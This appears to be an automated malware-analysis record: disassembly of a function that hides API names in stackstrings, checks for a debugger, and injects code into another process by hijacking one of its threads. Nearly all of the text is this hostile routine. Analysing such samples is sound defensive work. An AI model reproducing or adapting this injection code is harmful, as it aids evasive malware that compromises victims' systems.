Function at 0x402c90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4059f6
mov eax, dword fs:[0]
push eax
sub esp, 0xcf0
mov eax, dword [0x407018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc14], 0
push 0x2c8
push 0
lea eax, [ebp - 0xc10]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0xc44], 0
call fcn.00401ad0
mov dword [ebp - 0x260], eax
mov byte [ebp - 0x8f8], 0x4f
mov byte [ebp - 0x8f7], 0x70
mov byte [ebp - 0x8f6], 0x65
mov byte [ebp - 0x8f5], 0x6e
mov byte [ebp - 0x8f4], 0x50
mov byte [ebp - 0x8f3], 0x72
mov byte [ebp - 0x8f2], 0x6f
mov byte [ebp - 0x8f1], 0x63
mov byte [ebp - 0x8f0], 0x65
mov byte [ebp - 0x8ef], 0x73
mov byte [ebp - 0x8ee], 0x73
mov byte [ebp - 0x8ed], 0
mov byte [ebp - 0x54], 0x4f
mov byte [ebp - 0x53], 0x70
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], 0x54
mov byte [ebp - 0x4f], 0x68
mov byte [ebp - 0x4e], 0x72
mov byte [ebp - 0x4d], 0x65
mov byte [ebp - 0x4c], 0x61
mov byte [ebp - 0x4b], 0x64
mov byte [ebp - 0x4a], 0
mov byte [ebp - 0xc40], 0x56
mov byte [ebp - 0xc3f], 0x69
mov byte [ebp - 0xc3e], 0x72
mov byte [ebp - 0xc3d], 0x74
mov byte [ebp - 0xc3c], 0x75
mov byte [ebp - 0xc3b], 0x61
mov byte [ebp - 0xc3a], 0x6c
mov byte [ebp - 0xc39], 0x41
mov byte [ebp - 0xc38], 0x6c
mov byte [ebp - 0xc37], 0x6c
mov byte [ebp - 0xc36], 0x6f
mov byte [ebp - 0xc35], 0x63
mov byte [ebp - 0xc34], 0x45
mov byte [ebp - 0xc33], 0x78
mov byte [ebp - 0xc32], 0
mov byte [ebp - 0x878], 0x53
mov byte [ebp - 0x877], 0x65
mov byte [ebp - 0x876], 0x74
mov byte [ebp - 0x875], 0x54
mov byte [ebp - 0x874], 0x68
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x65
mov byte [ebp - 0x871], 0x61
mov byte [ebp - 0x870], 0x64
mov byte [ebp - 0x86f], 0x43
mov byte [ebp - 0x86e], 0x6f
mov byte [ebp - 0x86d], 0x6e
mov byte [ebp - 0x86c], 0x74
mov byte [ebp - 0x86b], 0x65
mov byte [ebp - 0x86a], 0x78
mov byte [ebp - 0x869], 0x74
mov byte [ebp - 0x868], 0
mov byte [ebp - 0x91c], 0x47
mov byte [ebp - 0x91b], 0x65
mov byte [ebp - 0x91a], 0x74
mov byte [ebp - 0x919], 0x54
mov byte [ebp - 0x918], 0x68
mov byte [ebp - 0x917], 0x72
mov byte [ebp - 0x916], 0x65
mov byte [ebp - 0x915], 0x61
mov byte [ebp - 0x914], 0x64
mov byte [ebp - 0x913], 0x43
mov byte [ebp - 0x912], 0x6f
mov byte [ebp - 0x911], 0x6e
mov byte [ebp - 0x910], 0x74
mov byte [ebp - 0x90f], 0x65
mov byte [ebp - 0x90e], 0x78
mov byte [ebp - 0x90d], 0x74
mov byte [ebp - 0x90c], 0
mov byte [ebp - 0xc30], 0x47
mov byte [ebp - 0xc2f], 0x65
mov byte [ebp - 0xc2e], 0x74
mov byte [ebp - 0xc2d], 0x4d
mov byte [ebp - 0xc2c], 0x6f
mov byte [ebp - 0xc2b], 0x64
mov byte [ebp - 0xc2a], 0x75
mov byte [ebp - 0xc29], 0x6c
mov byte [ebp - 0xc28], 0x65
mov byte [ebp - 0xc27], 0x48
mov byte [ebp - 0xc26], 0x61
mov byte [ebp - 0xc25], 0x6e
mov byte [ebp - 0xc24], 0x64
mov byte [ebp - 0xc23], 0x6c
mov byte [ebp - 0xc22], 0x65
mov byte [ebp - 0xc21], 0x41
mov byte [ebp - 0xc20], 0
mov byte [ebp - 0x7b8], 0x47
mov byte [ebp - 0x7b7], 0x65
mov byte [ebp - 0x7b6], 0x74
mov byte [ebp - 0x7b5], 0x50
mov byte [ebp - 0x7b4], 0x72
mov byte [ebp - 0x7b3], 0x6f
mov byte [ebp - 0x7b2], 0x63
mov byte [ebp - 0x7b1], 0x41
mov byte [ebp - 0x7b0], 0x64
mov byte [ebp - 0x7af], 0x64
mov byte [ebp - 0x7ae], 0x72
mov byte [ebp - 0x7ad], 0x65
mov byte [ebp - 0x7ac], 0x73
mov byte [ebp - 0x7ab], 0x73
mov byte [ebp - 0x7aa], 0
mov byte [ebp - 0x7a8], 0x57
mov byte [ebp - 0x7a7], 0x72
mov byte [ebp - 0x7a6], 0x69
mov byte [ebp - 0x7a5], 0x74
mov byte [ebp - 0x7a4], 0x65
mov byte [ebp - 0x7a3], 0x50
mov byte [ebp - 0x7a2], 0x72
mov byte [ebp - 0x7a1], 0x6f
mov byte [ebp - 0x7a0], 0x63
mov byte [ebp - 0x79f], 0x65
mov byte [ebp - 0x79e], 0x73
mov byte [ebp - 0x79d], 0x73
mov byte [ebp - 0x79c], 0x4d
mov byte [ebp - 0x79b], 0x65
mov byte [ebp - 0x79a], 0x6d
mov byte [ebp - 0x799], 0x6f
mov byte [ebp - 0x798], 0x72
mov byte [ebp - 0x797], 0x79
mov byte [ebp - 0x796], 0
mov byte [ebp - 0x944], 0x53
mov byte [ebp - 0x943], 0x75
mov byte [ebp - 0x942], 0x73
mov byte [ebp - 0x941], 0x70
mov byte [ebp - 0x940], 0x65
mov byte [ebp - 0x93f], 0x6e
mov byte [ebp - 0x93e], 0x64
mov byte [ebp - 0x93d], 0x54
mov byte [ebp - 0x93c], 0x68
mov byte [ebp - 0x93b], 0x72
mov byte [ebp - 0x93a], 0x65
mov byte [ebp - 0x939], 0x61
mov byte [ebp - 0x938], 0x64
mov byte [ebp - 0x937], 0
mov byte [ebp - 0x864], 0x52
mov byte [ebp - 0x863], 0x65
mov byte [ebp - 0x862], 0x73
mov byte [ebp - 0x861], 0x75
mov byte [ebp - 0x860], 0x6d
mov byte [ebp - 0x85f], 0x65
mov byte [ebp - 0x85e], 0x54
mov byte [ebp - 0x85d], 0x68
mov byte [ebp - 0x85c], 0x72
mov byte [ebp - 0x85b], 0x65
mov byte [ebp - 0x85a], 0x61
mov byte [ebp - 0x859], 0x64
mov byte [ebp - 0x858], 0
mov byte [ebp - 0x7c8], 0x43
mov byte [ebp - 0x7c7], 0x6f
mov byte [ebp - 0x7c6], 0x70
mov byte [ebp - 0x7c5], 0x79
mov byte [ebp - 0x7c4], 0x4d
mov byte [ebp - 0x7c3], 0x65
mov byte [ebp - 0x7c2], 0x6d
mov byte [ebp - 0x7c1], 0x6f
mov byte [ebp - 0x7c0], 0x72
mov byte [ebp - 0x7bf], 0x79
mov byte [ebp - 0x7be], 0
mov byte [ebp - 0x8e0], 0x56
mov byte [ebp - 0x8df], 0x69
mov byte [ebp - 0x8de], 0x72
mov byte [ebp - 0x8dd], 0x74
mov byte [ebp - 0x8dc], 0x75
mov byte [ebp - 0x8db], 0x61
mov byte [ebp - 0x8da], 0x6c
mov byte [ebp - 0x8d9], 0x50
mov byte [ebp - 0x8d8], 0x72
mov byte [ebp - 0x8d7], 0x6f
mov byte [ebp - 0x8d6], 0x74
mov byte [ebp - 0x8d5], 0x65
mov byte [ebp - 0x8d4], 0x63
mov byte [ebp - 0x8d3], 0x74
mov byte [ebp - 0x8d2], 0
mov byte [ebp - 0x934], 0x52
mov byte [ebp - 0x933], 0x65
mov byte [ebp - 0x932], 0x61
mov byte [ebp - 0x931], 0x64
mov byte [ebp - 0x930], 0x50
mov byte [ebp - 0x92f], 0x72
mov byte [ebp - 0x92e], 0x6f
mov byte [ebp - 0x92d], 0x63
mov byte [ebp - 0x92c], 0x65
mov byte [ebp - 0x92b], 0x73
mov byte [ebp - 0x92a], 0x73
mov byte [ebp - 0x929], 0x4d
mov byte [ebp - 0x928], 0x65
mov byte [ebp - 0x927], 0x6d
mov byte [ebp - 0x926], 0x6f
mov byte [ebp - 0x925], 0x72
mov byte [ebp - 0x924], 0x79
mov byte [ebp - 0x923], 0
mov byte [ebp - 0x48], 0x57
mov byte [ebp - 0x47], 0x69
mov byte [ebp - 0x46], 0x64
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x43
mov byte [ebp - 0x43], 0x68
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x72
mov byte [ebp - 0x40], 0x54
mov byte [ebp - 0x3f], 0x6f
mov byte [ebp - 0x3e], 0x4d
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], 0x42
mov byte [ebp - 0x38], 0x79
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0
mov edx, dword [ebp - 0x260]
call fcn.00401b20
mov dword [ebp - 0x8c8], eax
lea ecx, [ebp - 0x8f8]
push ecx
mov edx, dword [ebp - 0x260]
push edx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x8ec], eax
lea edx, [ebp - 0xc40]
push edx
mov eax, dword [ebp - 0x260]
push eax
call dword [ebp - 0x8c8]
mov dword [ebp - 0x674], eax
lea ecx, [ebp - 0x7a8]
push ecx
mov edx, dword [ebp - 0x260]
push edx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x790], eax
lea eax, [ebp - 0x878]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x8c4], eax
lea edx, [ebp - 0x91c]
push edx
mov eax, dword [ebp - 0x260]
push eax
call dword [ebp - 0x8c8]
mov dword [ebp - 0x670], eax
lea ecx, [ebp - 0x944]
push ecx
mov edx, dword [ebp - 0x260]
push edx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x920], eax
lea eax, [ebp - 0x864]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x908], eax
lea edx, [ebp - 0x7c8]
push edx
mov eax, dword [ebp - 0x260]
push eax
call dword [ebp - 0x8c8]
mov dword [ebp - 0x8c0], eax
lea ecx, [ebp - 0x8e0]
push ecx
mov edx, dword [ebp - 0x260]
push edx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x934]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x78c], eax
lea edx, [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x260]
push eax
call dword [ebp - 0x8c8]
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0xc14], 0x1003f
cmp dword [0x407720], 0
jne 0x4033d3
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [ebp - 0x34]
mov dword [0x407720], eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0x1fffff
call dword [ebp - 0x8ec]
mov dword [ebp - 0x904], eax
cmp dword [0x40771c], 0
jne 0x403414
push 0x40
push 0x3000
mov eax, dword [0x4071b4]
push eax
push 0
mov ecx, dword [0x407720]
push ecx
call dword [ebp - 0x674]
mov dword [0x40771c], eax
lea edx, [ebp - 0xc30]
push edx
mov eax, dword [ebp - 0x260]
push eax
call dword [ebp - 0x8c8]
mov dword [ebp - 0x794], eax
lea ecx, [ebp - 0x7b8]
push ecx
mov edx, dword [ebp - 0x260]
push edx
call dword [ebp - 0x8c8]
mov dword [ebp - 0x8cc], eax
mov eax, dword [ebp - 0x904]
push eax
call dword [ebp - 0x920]
lea ecx, [ebp - 0xc14]
push ecx
mov edx, dword [ebp - 0x904]
push edx
call dword [ebp - 0x670]
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0xc44], eax
mov ecx, dword [0x40771c]
mov dword [ebp - 0x900], ecx
mov edx, dword [0x4071b4]
shr edx, 1
add edx, dword [0x40771c]
mov dword [ebp - 0x788], edx
mov eax, dword [0x4071b4]
shr eax, 1
mov ecx, dword [0x40771c]
lea edx, [ecx + eax + 0xf]
mov dword [ebp - 0xc1c], edx
mov eax, dword [0x4071b4]
shr eax, 1
mov ecx, dword [0x40771c]
lea edx, [ecx + eax + 0x3f]
mov dword [ebp - 0x66c], edx
mov eax, dword [0x4071b4]
shr eax, 2
add eax, dword [0x40771c]
mov dword [ebp - 0x7bc], eax
mov ecx, dword [0x4071b4]
shr ecx, 1
mov edx, dword [0x40771c]
lea eax, [edx + ecx + 0x5c]
mov dword [ebp - 0x8bc], eax
mov ecx, dword [ebp - 0x788]
mov dword [0x4072c1], ecx
mov edx, dword [ebp - 0x794]
mov dword [str.____], edx
mov eax, dword [ebp - 0xc1c]
mov dword [0x4072cd], eax
mov ecx, dword [ebp - 0x8cc]
mov dword [str.DDDD], ecx
mov edx, dword [ebp - 0x66c]
mov dword [0x4072da], edx
mov eax, dword [ebp - 0x7bc]
mov dword [0x4072df], eax
mov ecx, dword [ebp - 0x788]
mov dword [0x4072e8], ecx
mov edx, dword [ebp - 0x794]
mov dword [0x4072ed], edx
mov eax, dword [ebp - 0x8bc]
mov dword [0x4072f4], eax
mov ecx, dword [ebp - 0x8cc]
mov dword [0x4072fa], ecx
mov edx, dword [ebp - 0x900]
mov dword [0x407306], edx
mov eax, dword [ebp - 0xc44]
mov dword [0x40730d], eax
push 0
push 0x52
push 0x4072c0
mov ecx, dword [0x40771c]
push ecx
mov edx, dword [0x407720]
push edx
call dword [ebp - 0x790]
push ss
pop ss
pushfd
test byte [esp + 1], 1
jne 0x4035ad
jmp 0x4035b2
call fcn.004035a4
popfd
push 0
push 0x7c
push str.KernelUtil.dll
mov eax, dword [0x4071b4]
shr eax, 1
add eax, dword [0x40771c]
push eax
mov ecx, dword [0x407720]
push ecx
call dword [ebp - 0x790]
mov edx, dword [0x40771c]
mov dword [ebp - 0xb5c], edx
mov dword [ebp - 0x854], 0
lea eax, [ebp - 0x854]
push eax
push 0x10
push 0x1000
mov ecx, dword [0x40771c]
push ecx
call dword [ebp - 0x30]
lea edx, [ebp - 0xc14]
push edx
mov eax, dword [ebp - 0x904]
push eax
call dword [ebp - 0x8c4]
mov ecx, dword [ebp - 0x904]
push ecx
call dword [ebp - 0x908]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x850], 0
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x8e8], 0
xor edx, edx
mov word [ebp - 0x25c], dx
push 0x102
push 0
lea eax, [ebp - 0x25a]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x664], cx
push 0x3fe
push 0
lea edx, [ebp - 0x662]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x8e8]
push eax
mov ecx, dword [ebp - 0x854]
push ecx
push 0x1000
mov edx, dword [0x40771c]
push edx
call dword [ebp - 0x30]
push 0
push 4
lea eax, [ebp - 0x668]
push eax
mov ecx, dword [0x4071b4]
shr ecx, 2
add ecx, dword [0x40771c]
push ecx
mov edx, dword [0x407720]
push edx
call dword [ebp - 0x78c]
push 0
push 0x80
lea eax, [ebp - 0x25c]
push eax
mov ecx, dword [ebp - 0x668]
push ecx
mov edx, dword [0x407720]
push edx
call dword [ebp - 0x78c]
push 0
push 4
lea eax, [ebp - 0x850]
push eax
mov ecx, dword [0x40771c]
push ecx
mov edx, dword [0x407720]
push edx
call dword [ebp - 0x78c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x25c]
push eax
push 0
push 0
call dword [ebp - 0x8d0]
mov dword [ebp - 0x8fc], eax
mov ecx, dword [ebp - 0x8fc]
push ecx
call fcn.00404e71
add esp, 4
mov dword [ebp - 0xc48], eax
mov edx, dword [ebp - 0xc48]
mov dword [ebp - 0xc18], edx
push 0
push 0
mov eax, dword [ebp - 0x8fc]
push eax
mov ecx, dword [ebp - 0xc18]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x25c]
push edx
push 0
push 0
call dword [ebp - 0x8d0]
pushal
call fcn.0040378d